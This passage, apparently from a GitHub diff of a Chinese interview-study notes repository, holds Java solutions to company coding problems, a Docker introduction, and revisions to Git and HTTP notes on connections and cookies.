String[] token1 = s1.split(" ");
String[] token2 = s2.split(" ");
CardType type1 = computeCardType(token1);
CardType type2 = computeCardType(token2);
if (type1 == CardType.DoubleJoker) return s1;
if (type2 == CardType.DoubleJoker) return s2;
if (type1 == CardType.Bomb && type2 != CardType.Bomb) return s1;
if (type2 == CardType.Bomb && type1 != CardType.Bomb) return s2;
if (type1 != type2 || token1.length != token2.length) return "ERROR";
for (int i = 0; i < token1.length; i++) {
int val1 = map.get(token1[i]);
int val2 = map.get(token2[i]);
if (val1 != val2) return val1 > val2 ? s1 : s2;
}
return "ERROR";
}
private CardType computeCardType(String[] token) {
boolean hasjoker = false, hasJOKER = false;
for (int i = 0; i < token.length; i++) {
if (token[i].equals("joker")) hasjoker = true;
else if (token[i].equals("JOKER")) hasJOKER = true;
}
if (hasjoker && hasJOKER) return CardType.DoubleJoker;
int maxContinueLen = 1;
int curContinueLen = 1;
String curValue = token[0];
for (int i = 1; i < token.length; i++) {
if (token[i].equals(curValue)) curContinueLen++;
else {
curContinueLen = 1;
curValue = token[i];
}
maxContinueLen = Math.max(maxContinueLen, curContinueLen);
}
if (maxContinueLen == 4) return CardType.Bomb;
if (maxContinueLen == 3) return CardType.Triple;
if (maxContinueLen == 2) return CardType.Double;
boolean isStraight = true;
for (int i = 1; i < token.length; i++) {
if (map.get(token[i]) - map.get(token[i - 1]) != 1) {
isStraight = false;
break;
}
}
if (isStraight && token.length == 5) return CardType.Straight;
return CardType.Sigal;
}
private enum CardType {
DoubleJoker, Bomb, Sigal, Double, Triple, Straight;
}
public static void main(String[] args) {
Main main = new Main();
Scanner in = new Scanner(System.in);
while (in.hasNextLine()) {
String s = in.nextLine();
String[] token = s.split("-");
System.out.println(main.play(token[0], token[1]));
}
}
}
```
# 11. 去哪儿-二分查找
对于有重复元素的有序数组,二分查找需要注意以下要点:
- if (val <= A[m]) h = m;
- 因为 h 的赋值为 m 而不是 m - 1因此 while 循环的条件也就为 l < h。(如果是 m - 1 循环条件为 l <= h
```java
public int getPos(int[] A, int n, int val) {
int l = 0, h = n - 1;
while (l < h) {
int m = l + (h - l) / 2;
if (val <= A[m]) h = m;
else l = m + 1;
}
return A[h] == val ? h : -1;
}
```
# 12. 去哪儿-首个重复字符
```java
public char findFirstRepeat(String A, int n) {
boolean[] hasAppear = new boolean[256];
for (int i = 0; i < n; i++) {
char c = A.charAt(i);
if(hasAppear[c]) return c;
hasAppear[c] = true;
}
return ' ';
}
```
# 13. 去哪儿-寻找Coder
```java
public String[] findCoder(String[] A, int n) {
List<Pair<String, Integer>> list = new ArrayList<>();
for (String s : A) {
int cnt = 0;
String t = s.toLowerCase();
int idx = -1;
while (true) {
idx = t.indexOf("coder", idx + 1);
if (idx == -1) break;
cnt++;
}
if (cnt != 0) {
list.add(new Pair<>(s, cnt));
}
}
Collections.sort(list, (o1, o2) -> (o2.getValue() - o1.getValue()));
String[] ret = new String[list.size()];
for (int i = 0; i < list.size(); i++) {
ret[i] = list.get(i).getKey();
}
return ret;
}
// 牛客网无法导入 javafx.util.Pair这里就自己实现一下 Pair 类
private class Pair<T, K> {
T t;
K k;
Pair(T t, K k) {
this.t = t;
this.k = k;
}
T getKey() {
return t;
}
K getValue() {
return k;
}
}
```
# 14. 美团-最大差值
贪心策略
```java
public int getDis(int[] A, int n) {
int max = 0;
int soFarMin = A[0];
for (int i = 1; i < n; i++) {
if(soFarMin > A[i]) soFarMin = A[i];
else max = Math.max(max, A[i]- soFarMin);
}
return max;
}
```
# 15. 美团-棋子翻转
```java
public int[][] flipChess(int[][] A, int[][] f) {
int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
for (int[] ff : f) {
for (int[] dd : direction) {
int r = ff[0] + dd[0] - 1, c = ff[1] + dd[1] - 1;
if(r < 0 || r > 3 || c < 0 || c > 3) continue;
A[r][c] ^= 1;
}
}
return A;
}
```
# 16. 美团-拜访
```java
private Set<String> paths;
private List<Integer> curPath;
public int countPath(int[][] map, int n, int m) {
paths = new HashSet<>();
curPath = new ArrayList<>();
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
if (map[i][j] == 1) {
map[i][j] = -1;
int[][] leftRightDirection = {{1, 0}, {-1, 0}};
int[][] topDownDirection = {{0, 1}, {0, -1}};
for (int[] lr : leftRightDirection) {
for (int[] td : topDownDirection) {
int[][] directions = {lr, td};
backtracking(map, n, m, i, j, directions);
}
}
return paths.size();
}
}
}
return 0;
}
private void backtracking(int[][] map, int n, int m, int r, int c, int[][] directions) {
if (map[r][c] == 2) {
String path = "";
for (int num : curPath) {
path += num;
}
paths.add(path);
return;
}
for (int i = 0; i < directions.length; i++) {
int nextR = r + directions[i][0];
int nextC = c + directions[i][1];
if (nextR < 0 || nextR >= n || nextC < 0 || nextC >= m || map[nextR][nextC] == -1) continue;
map[nextR][nextC] = map[nextR][nextC] == 2 ? 2 : -1;
curPath.add(nextR);
curPath.add(nextC);
backtracking(map, n, m, nextR, nextC, directions);
curPath.remove(curPath.size() - 1);
curPath.remove(curPath.size() - 1);
map[nextR][nextC] = map[nextR][nextC] == 2 ? 2 : 0;
}
}
```
# 17. 美团-直方图内最大矩形
```java
public int countArea(int[] A, int n) {
int max = 0;
for (int i = 0; i < n; i++) {
int min = A[i];
for (int j = i; j < n; j++) {
min = Math.min(min, A[j]);
max = Math.max(max, min * (j - i + 1));
}
}
return max;
}
```
# 18. 美团-字符串计数
字符串都是小写字符可以把字符串当成是 26 进制但是字典序的比较和普通的整数比较不同是从左往右进行比较例如 "ac" "abc"字典序的比较结果为 "ac" > "abc",如果按照整数方法比较,因为 "abc" 是三位数,显然更大。
由于两个字符串的长度可能不想等,在 s1 空白部分和 s2 对应部分进行比较时,应该把 s1 的空白部分看成是 'a' 字符进行填充的。
还有一点要注意的是s1 到 s2 长度为 len<sub>i</sub> 的字符串个数只比较前面 i 个字符。例如 'aaa' 和 'bbb' ,长度为 2 的个数为 'aa' 到 'bb' 的字符串个数,不需要考虑后面部分的字符。
在统计个数时,从 len1 开始一直遍历到最大合法长度,每次循环都统计长度为 i 的子字符串个数。
```java
String s1 = in.next();
String s2 = in.next();
int len1 = in.nextInt();
int len2 = in.nextInt();
int len = Math.min(s2.length(), len2);
int[] subtractArr = new int[len];
for (int i = 0; i < len; i++) {
char c1 = i < s1.length() ? s1.charAt(i) : 'a';
char c2 = s2.charAt(i);
subtractArr[i] = c2 - c1;
}
int ret = 0;
for (int i = len1; i <= len; i++) {
for (int j = 0; j < i; j++) {
ret += subtractArr[j] * Math.pow(26, i - j - 1);
}
}
System.out.println(ret - 1);
```
# 19. 美团-平均年龄
```java
int W = in.nextInt();
double Y = in.nextDouble();
double x = in.nextDouble();
int N = in.nextInt();
while (N-- > 0) {
Y++; // 老员工每年年龄都要加 1
Y += (21 - Y) * x;
}
System.out.println((int) Math.ceil(Y));
```
# 20. 百度-罪犯转移
部分和问题,将每次求的部分和缓存起来。
```java
int n = in.nextInt();
int t = in.nextInt();
int c = in.nextInt();
int[] values = new int[n];
for (int i = 0; i < n; i++) {
values[i] = in.nextInt();
}
int cnt = 0;
int totalValue = 0;
for (int s = 0, e = c - 1; e < n; s++, e++) {
if (s == 0) {
for (int j = 0; j < c; j++) totalValue += values[j];
} else {
totalValue = totalValue - values[s - 1] + values[e];
}
if (totalValue <= t) cnt++;
}
System.out.println(cnt);
```
# 22. 百度-裁减网格纸
```java
int n = in.nextInt();
int minX, minY, maxX, maxY;
minX = minY = Integer.MAX_VALUE;
maxX = maxY = Integer.MIN_VALUE;
for (int i = 0; i < n; i++) {
int x = in.nextInt();
int y = in.nextInt();
minX = Math.min(minX, x);
minY = Math.min(minY, y);
maxX = Math.max(maxX, x);
maxY = Math.max(maxY, y);
}
System.out.println((int) Math.pow(Math.max(maxX - minX, maxY - minY), 2));
```
# 23. 百度-钓鱼比赛
P ( 至少钓一条鱼 ) = 1 - P ( 一条也钓不到 )
坑:读取概率矩阵的时候,需要一行一行进行读取,而不能直接用 in.nextDouble()。
```java
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
while (in.hasNext()) {
int n = in.nextInt();
int m = in.nextInt();
int x = in.nextInt();
int y = in.nextInt();
int t = in.nextInt();
in.nextLine(); // 坑
double pcc = 0.0;
double sum = 0.0;
for (int i = 1; i <= n; i++) {
String[] token = in.nextLine().split(" "); // 坑
for (int j = 1; j <= m; j++) {
double p = Double.parseDouble(token[j - 1]);
// double p = in.nextDouble();
sum += p;
if (i == x && j == y) {
pcc = p;
}
}
}
double pss = sum / (n * m);
pcc = computePOfIRT(pcc, t);
pss = computePOfIRT(pss, t);
System.out.println(pcc > pss ? "cc" : pss > pcc ? "ss" : "equal");
System.out.printf("%.2f\n", Math.max(pcc, pss));
}
}
// compute probability of independent repeated trials
private static double computePOfIRT(double p, int t) {
return 1 - Math.pow((1 - p), t);
}
```
# 24. 百度-蘑菇阵
这题用回溯会超时,需要用 DP。
dp[i][j] 表示到达 (i,j) 位置不会触碰蘑菇的概率。对于 N\*M 矩阵,如果 i == N || j == M那么 (i,j) 只能有一个移动方向;其它情况下能有两个移动方向。
考虑以下矩阵,其中第 3 行和第 3 列只能往一个方向移动,而其它位置可以有两个方向移动。
```java
int N = in.nextInt();
int M = in.nextInt();
int K = in.nextInt();
boolean[][] mushroom = new boolean[N][M];
while (K-- > 0) {
int x = in.nextInt();
int y = in.nextInt();
mushroom[x - 1][y - 1] = true;
}
double[][] dp = new double[N][M];
dp[0][0] = 1;
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
if (mushroom[i][j]) dp[i][j] = 0;
else {
double cur = dp[i][j];
if (i == N - 1 && j == M - 1) break;
if (i == N - 1) dp[i][j + 1] += cur;
else if (j == M - 1) dp[i + 1][j] += cur;
else {
dp[i][j + 1] += cur / 2;
dp[i + 1][j] += cur / 2;
}
}
}
}
System.out.printf("%.2f\n", dp[N - 1][M - 1]);
```

View File

@ -0,0 +1,16 @@
<!-- GFM-TOC -->
* [0. 进程内存空间中,堆和栈的区别](#0-进程内存空间中,堆和栈的区别)
<!-- GFM-TOC -->
# 0. 进程内存空间中,堆和栈的区别
> C++
动态、malloc()、new、链式分配、向上生长函数调用、编译器分配回收、向下生长。
https://www.cnblogs.com/sunziying/p/6510030.html
By @CyC
---

91
notes/Docker.md Normal file
View File

@ -0,0 +1,91 @@
<!-- GFM-TOC -->
* [一、解决的问题](#一解决的问题)
* [二、与虚拟机的比较](#二与虚拟机的比较)
* [三、优势](#三优势)
* [四、使用场景](#四使用场景)
* [五、镜像与容器](#五镜像与容器)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
<div align="center"> <img src="../pics//011f3ef6-d824-4d43-8b2c-36dab8eaaa72-1.png"/> </div><br>
# 一、解决的问题
由于不同的机器有不同的操作系统,以及不同的库和组件,在将一个应用部署到多台机器上需要进行大量的环境配置操作。
Docker 主要解决环境配置问题,它是一种虚拟化技术,对进程进行隔离,被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码,不需要开发人员学习特定环境下的技术,就能够将现有的应用程序部署在其他机器中。
# 二、与虚拟机的比较
虚拟机也是一种虚拟化技术,它与 Docker 最大的区别在于它是通过模拟硬件,并在硬件上安装操作系统来实现。
<div align="center"> <img src="../pics//71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png"/> </div><br>
<div align="center"> <img src="../pics//7e873b60-44dc-4911-b080-defd5b8f0b49.png"/> </div><br>
## 启动速度
启动虚拟机需要启动虚拟机的操作系统,再启动应用,这个过程非常慢;
而启动 Docker 相当于启动宿主操作系统上的一个进程。
## 占用资源
虚拟机是一个完整的操作系统,需要占用大量的磁盘、内存和 CPU一台机器只能开启几十个的虚拟机。
而 Docker 只是一个进程,只需要将应用以及相关的组件打包,在运行时占用很少的资源,一台机器可以开启成千上万个 Docker。
# 三、优势
除了启动速度快以及占用资源少之外Docker 具有以下优势:
## 更容易迁移
提供一致性的运行环境,可以在不同的机器上进行迁移,而不用担心环境变化导致无法运行。
## 更容易维护
使用分层技术和镜像,使得应用可以更容易复用重复部分。复用程度越高,维护工作也越容易。
## 更容易扩展
可以使用基础镜像进一步扩展得到新的镜像,并且官方和开源社区提供了大量的镜像,通过扩展这些镜像可以非常容易得到我们想要的镜像。
# 四、使用场景
## 持续集成
持续集成指的是频繁地将代码集成到主干上,这样能够更快地发现错误。
Docker 具有轻量级以及隔离性的特点,在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
## 提供可伸缩的云服务
根据应用的负载情况,可以很容易地增加或者减少 Docker。
## 搭建微服务架构
Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
# 五、镜像与容器
镜像是一种静态的结构,可以看成面向对象里面的类,而容器是镜像的一个实例。
镜像包含着容器运行时所需要的代码以及其它组件它是一种分层结构每一层都是只读的read-only layers。构建镜像时会一层一层构建前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
构建容器时通过在镜像的基础上添加一个可写层writable layer用来保存着容器运行过程中的修改。
<div align="center"> <img src="../pics//docker-filesystems-busyboxrw.png"/> </div><br>
# 参考资料
- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
- [理解 Docker2Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
- [为什么要使用 Docker](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
- [What is Docker](https://www.docker.com/what-docker)
- [持续集成是什么?](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)

View File

@ -1,8 +1,7 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [学习资料](#学习资料)
* [集中式与分布式](#集中式与分布式) * [集中式与分布式](#集中式与分布式)
* [Git 的中心服务器](#git-的中心服务器) * [中心服务器](#中心服务器)
* [Git 工作流](#git-工作流) * [工作流](#工作流)
* [分支实现](#分支实现) * [分支实现](#分支实现)
* [冲突](#冲突) * [冲突](#冲突)
* [Fast forward](#fast-forward) * [Fast forward](#fast-forward)
@ -11,16 +10,10 @@
* [SSH 传输设置](#ssh-传输设置) * [SSH 传输设置](#ssh-传输设置)
* [.gitignore 文件](#gitignore-文件) * [.gitignore 文件](#gitignore-文件)
* [Git 命令一览](#git-命令一览) * [Git 命令一览](#git-命令一览)
* [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 学习资料
- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
- [Learn Git Branching](https://learngitbranching.js.org/)
# 集中式与分布式 # 集中式与分布式
Git 属于分布式版本控制系统,而 SVN 属于集中式。 Git 属于分布式版本控制系统,而 SVN 属于集中式。
@ -33,11 +26,13 @@ Git 属于分布式版本控制系统,而 SVN 属于集中式。
分布式版本控制新建分支、合并分支操作速度非常快,而集中式版本控制新建一个分支相当于复制一份完整代码。 分布式版本控制新建分支、合并分支操作速度非常快,而集中式版本控制新建一个分支相当于复制一份完整代码。
# Git 的中心服务器 # 中心服务器
Git 的中心服务器用来交换每个用户的修改没有中心服务器也能工作,但是中心服务器能够 24 小时保持开机状态,这样就能更方便的交换修改。Github 就是一种 Git 中心服务器。 中心服务器用来交换每个用户的修改没有中心服务器也能工作,但是中心服务器能够 24 小时保持开机状态,这样就能更方便的交换修改。
# Git 工作流 Github 就是一个中心服务器。
# 工作流
<div align="center"> <img src="../pics//a1198642-9159-4d88-8aec-c3b04e7a2563.jpg"/> </div><br> <div align="center"> <img src="../pics//a1198642-9159-4d88-8aec-c3b04e7a2563.jpg"/> </div><br>
@ -54,14 +49,14 @@ Git 版本库有一个称为 stage 的暂存区,还有自动创建的 master
<div align="center"> <img src="../pics//17976404-95f5-480e-9cb4-250e6aa1d55f.png"/> </div><br> <div align="center"> <img src="../pics//17976404-95f5-480e-9cb4-250e6aa1d55f.png"/> </div><br>
可以跳过暂存区域直接从分支中取出修改或者直接提交修改到分支中 可以跳过暂存区域直接从分支中取出修改或者直接提交修改到分支中
- git commit -a 直接把所有文件的修改添加到暂缓区然后执行提交 - git commit -a 直接把所有文件的修改添加到暂缓区然后执行提交
- git checkout HEAD -- files 取出最后一次修改,可以用来进行回滚操作 - git checkout HEAD -- files 取出最后一次修改,可以用来进行回滚操作
# 分支实现 # 分支实现
Git 把每次提交都连成一条时间线。分支使用指针来实现,例如 master 分支指针指向时间线的最后一个节点,也就是最后一次提交。HEAD 指针指向的是当前分支。 使用指针将每个提交连接成一条时间线,HEAD 指针指向当前分支指针
<div align="center"> <img src="../pics//fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg"/> </div><br> <div align="center"> <img src="../pics//fb546e12-e1fb-4b72-a1fb-8a7f5000dce6.jpg"/> </div><br>
@ -69,7 +64,7 @@ Git 把每次提交都连成一条时间线。分支使用指针来实现,例
<div align="center"> <img src="../pics//bc775758-89ab-4805-9f9c-78b8739cf780.jpg"/> </div><br> <div align="center"> <img src="../pics//bc775758-89ab-4805-9f9c-78b8739cf780.jpg"/> </div><br>
每次提交只会让当前分支向前移动,而其它分支不会移动。 每次提交只会让当前分支指针向前移动,而其它分支指针不会移动。
<div align="center"> <img src="../pics//5292faa6-0141-4638-bf0f-bb95b081dcba.jpg"/> </div><br> <div align="center"> <img src="../pics//5292faa6-0141-4638-bf0f-bb95b081dcba.jpg"/> </div><br>
@ -155,4 +150,9 @@ $ ssh-keygen -t rsa -C "youremail@example.com"
比较详细的地址http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf 比较详细的地址http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf
# 参考资料
- [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
- [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
- [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
- [Learn Git Branching](https://learngitbranching.js.org/)

View File

@ -1,6 +1,5 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一 、基础概念](#一-基础概念) * [一 、基础概念](#一-基础概念)
* [Web 基础](#web-基础)
* [URL](#url) * [URL](#url)
* [请求和响应报文](#请求和响应报文) * [请求和响应报文](#请求和响应报文)
* [二、HTTP 方法](#二http-方法) * [二、HTTP 方法](#二http-方法)
@ -25,9 +24,9 @@
* [响应首部字段](#响应首部字段) * [响应首部字段](#响应首部字段)
* [实体首部字段](#实体首部字段) * [实体首部字段](#实体首部字段)
* [五、具体应用](#五具体应用) * [五、具体应用](#五具体应用)
* [连接管理](#连接管理)
* [Cookie](#cookie) * [Cookie](#cookie)
* [缓存](#缓存) * [缓存](#缓存)
* [连接管理](#连接管理)
* [内容协商](#内容协商) * [内容协商](#内容协商)
* [内容编码](#内容编码) * [内容编码](#内容编码)
* [范围请求](#范围请求) * [范围请求](#范围请求)
@ -40,47 +39,34 @@
* [认证](#认证) * [认证](#认证)
* [完整性保护](#完整性保护) * [完整性保护](#完整性保护)
* [HTTPs 的缺点](#https-的缺点) * [HTTPs 的缺点](#https-的缺点)
* [配置 HTTPs](#配置-https) * [七、HTTP/2.0](#http20)
* [七、Web 攻击技术](#七web-攻击技术) * [HTTP/1.x 缺陷](#http1x-缺陷)
* [跨站脚本攻击](#跨站脚本攻击) * [二进制分帧层](#二进制分帧层)
* [跨站请求伪造](#跨站请求伪造) * [服务端推送](#服务端推送)
* [SQL 注入攻击](#sql-注入攻击) * [首部压缩](#首部压缩)
* [拒绝服务攻击](#拒绝服务攻击) * [八、HTTP/1.1 新特性](#八http11-新特性)
* [、GET 和 POST 的区别](#get-和-post-的区别) * [、GET 和 POST 比较](#get-和-post-比较)
* [作用](#作用) * [作用](#作用)
* [参数](#参数) * [参数](#参数)
* [安全](#安全) * [安全](#安全)
* [幂等性](#幂等性) * [幂等性](#幂等性)
* [可缓存](#可缓存) * [可缓存](#可缓存)
* [XMLHttpRequest](#xmlhttprequest) * [XMLHttpRequest](#xmlhttprequest)
* [九、HTTP/1.0 与 HTTP/1.1 的区别](#九http10-与-http11-的区别)
* [十、HTTP/2.0](#十http20)
* [HTTP/1.x 缺陷](#http1x-缺陷)
* [二进制分帧层](#二进制分帧层)
* [服务端推送](#服务端推送)
* [首部压缩](#首部压缩)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 一 、基础概念 # 一 、基础概念
## Web 基础
- WWWWorld Wide Web的三种技术HTML、HTTP、URL
- HTMLHyperText Markup Language超文本标记语言
- HTTPHyperText Transfer Protocol超文本传输协议
- RFCRequest for Comments征求修正意见书互联网的设计文档。
## URL ## URL
- URIUniform Resource Indentifier统一资源标识符
- URLUniform Resource Locator统一资源定位符
- URNUniform Resource Name统一资源名称例如 urn:isbn:0-486-27557-4。
URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。 URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基本都是 URL。
<div align="center"> <img src="../pics//f716427a-94f2-4875-9c86-98793cf5dcc3.jpg" width="400"/> </div><br> - URIUniform Resource Identifier统一资源标识符
- URLUniform Resource Locator统一资源定位符
- URNUniform Resource Name统一资源名称
<div align="center"> <img src="../pics//urlnuri.jpg" width="600"/> </div><br>
## 请求和响应报文 ## 请求和响应报文
@ -116,7 +102,7 @@ URI 包含 URL 和 URN目前 WEB 只有 URL 比较流行,所以见到的基
POST 主要用来传输数据,而 GET 主要用来获取资源。 POST 主要用来传输数据,而 GET 主要用来获取资源。
更多 POST 与 GET 的比较请见第章。 更多 POST 与 GET 的比较请见第章。
## PUT ## PUT
@ -169,9 +155,9 @@ DELETE /file.html HTTP/1.1
## CONNECT ## CONNECT
> 要求用隧道协议连接代理 > 要求在与代理服务器通信时建立隧道
要求在与代理服务器通信时建立隧道,使用 SSLSecure Sockets Layer安全套接层和 TLSTransport Layer Security传输层安全协议把通信内容加密后经网络隧道传输。 使用 SSLSecure Sockets Layer安全套接层和 TLSTransport Layer Security传输层安全协议把通信内容加密后经网络隧道传输。
```html ```html
CONNECT www.example.com:443 HTTP/1.1 CONNECT www.example.com:443 HTTP/1.1
@ -187,8 +173,7 @@ CONNECT www.example.com:443 HTTP/1.1
发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1当数值为 0 时就停止传输。 发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器就会减 1当数值为 0 时就停止传输。
通常不会使用 TRACE并且它容易受到 XST 攻击Cross-Site Tracing跨站追踪,因此更不会去使用它 通常不会使用 TRACE并且它容易受到 XST 攻击Cross-Site Tracing跨站追踪
# 三、HTTP 状态码 # 三、HTTP 状态码
服务器返回的 **响应报文** 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。 服务器返回的 **响应报文** 中第一行为状态行,包含了状态码以及原因短语,用来告知客户端请求的结果。
@ -211,7 +196,7 @@ CONNECT www.example.com:443 HTTP/1.1
- **204 No Content** :请求已经成功处理,但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息,而不需要返回数据时使用。 - **204 No Content** :请求已经成功处理,但是返回的响应报文不包含实体的主体部分。一般在只需要从客户端往服务器发送信息,而不需要返回数据时使用。
- **206 Partial Content** :表示客户端进行了范围请求响应报文包含由 Content-Range 指定范围的实体内容。 - **206 Partial Content** :表示客户端进行了范围请求响应报文包含由 Content-Range 指定范围的实体内容。
## 3XX 重定向 ## 3XX 重定向
@ -233,7 +218,7 @@ CONNECT www.example.com:443 HTTP/1.1
- **401 Unauthorized** 该状态码表示发送的请求需要有认证信息BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。 - **401 Unauthorized** 该状态码表示发送的请求需要有认证信息BASIC 认证、DIGEST 认证)。如果之前已进行过一次请求,则表示用户认证失败。
- **403 Forbidden** :请求被拒绝,服务器端没有必要给出拒绝的详细理由 - **403 Forbidden** :请求被拒绝。
- **404 Not Found** - **404 Not Found**
@ -241,7 +226,7 @@ CONNECT www.example.com:443 HTTP/1.1
- **500 Internal Server Error** :服务器正在执行请求时发生错误。 - **500 Internal Server Error** :服务器正在执行请求时发生错误。
- **503 Service Unavilable** :服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。 - **503 Service Unavailable** :服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。
# 四、HTTP 首部 # 四、HTTP 首部
@ -318,11 +303,32 @@ CONNECT www.example.com:443 HTTP/1.1
# 五、具体应用 # 五、具体应用
## 连接管理
<div align="center"> <img src="../pics//HTTP1_x_Connections.png" width="800"/> </div><br>
### 1. 短连接与长连接
当浏览器访问一个包含多张图片的 HTML 页面时,除了请求访问 HTML 页面资源,还会请求图片资源。如果每进行一次 HTTP 通信就要新建一个 TCP 连接,那么开销会很大。
长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
- 从 HTTP/1.1 开始默认是长连接的,如果要断开连接,需要由客户端或者服务器端提出断开,使用 `Connection : close`
- 在 HTTP/1.1 之前默认是短连接的,如果需要使用长连接,则使用 `Connection : Keep-Alive`
### 2. 流水线
默认情况下HTTP 请求是按顺序发出的,下一个请求只有在当前请求收到响应之后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。
流水线是在同一条长连接上发出连续的请求,而不用等待响应返回,这样可以避免连接延迟。
## Cookie ## Cookie
HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。 HTTP 协议是无状态的,主要是为了让 HTTP 协议尽可能简单使得它能够处理大量事务。HTTP/1.1 引入 Cookie 来保存状态信息。
Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。它用于告知服务端两个请求是否来自同一浏览器,并保持用户的登录状态 Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器之后向同一服务器再发起请求时被携带上,用于告知服务端两个请求是否来自同一浏览器。由于之后每次请求都会需要携带 Cookie 数据,因此会带来额外的性能开销(尤其是在移动环境下)
Cookie 曾一度用于客户端数据的存储因为当时并没有其它合适的存储办法而作为唯一的存储手段但现在随着现代浏览器开始支持各种各样的存储方式Cookie 渐渐被淘汰。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API本地存储和会话存储或 IndexedDB。
### 1. 用途 ### 1. 用途
@ -330,8 +336,6 @@ Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据
- 个性化设置(如用户自定义设置、主题等) - 个性化设置(如用户自定义设置、主题等)
- 浏览器行为跟踪(如跟踪分析用户行为等) - 浏览器行为跟踪(如跟踪分析用户行为等)
Cookie 曾一度用于客户端数据的存储因为当时并没有其它合适的存储办法而作为唯一的存储手段但现在随着现代浏览器开始支持各种各样的存储方式Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB。
### 2. 创建过程 ### 2. 创建过程
服务器发送的响应报文包含 Set-Cookie 首部字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。 服务器发送的响应报文包含 Set-Cookie 首部字段,客户端得到响应报文后把 Cookie 内容保存到浏览器中。
@ -345,7 +349,7 @@ Set-Cookie: tasty_cookie=strawberry
[page content] [page content]
``` ```
客户端之后对同一个服务器发送请求时,会从浏览器中出 Cookie 信息通过 Cookie 请求首部字段发送给服务器。 客户端之后对同一个服务器发送请求时,会从浏览器中出 Cookie 信息通过 Cookie 请求首部字段发送给服务器。
```html ```html
GET /sample_page.html HTTP/1.1 GET /sample_page.html HTTP/1.1
@ -356,33 +360,13 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
### 3. 分类 ### 3. 分类
- 会话期 Cookie浏览器关闭之后它会被自动删除也就是说它仅在会话期内有效。 - 会话期 Cookie浏览器关闭之后它会被自动删除也就是说它仅在会话期内有效。
- 持久性 Cookie指定一个特定的过期时间Expires或有效期Max-Age之后就成为了持久性的 Cookie。 - 持久性 Cookie指定一个特定的过期时间Expires或有效期max-age之后就成为了持久性的 Cookie。
```html ```html
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
``` ```
### 4. JavaScript 获取 Cookie ### 4. 作用域
通过 `Document.cookie` 属性可创建新的 Cookie也可通过该属性访问非 HttpOnly 标记的 Cookie。
```html
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
```
### 5. Secure 和 HttpOnly
标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性Secure 标记也无法提供确实的安全保障。
标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。因为跨域脚本 (XSS) 攻击常常使用 JavaScript 的 `Document.cookie` API 窃取用户的 Cookie 信息,因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
```html
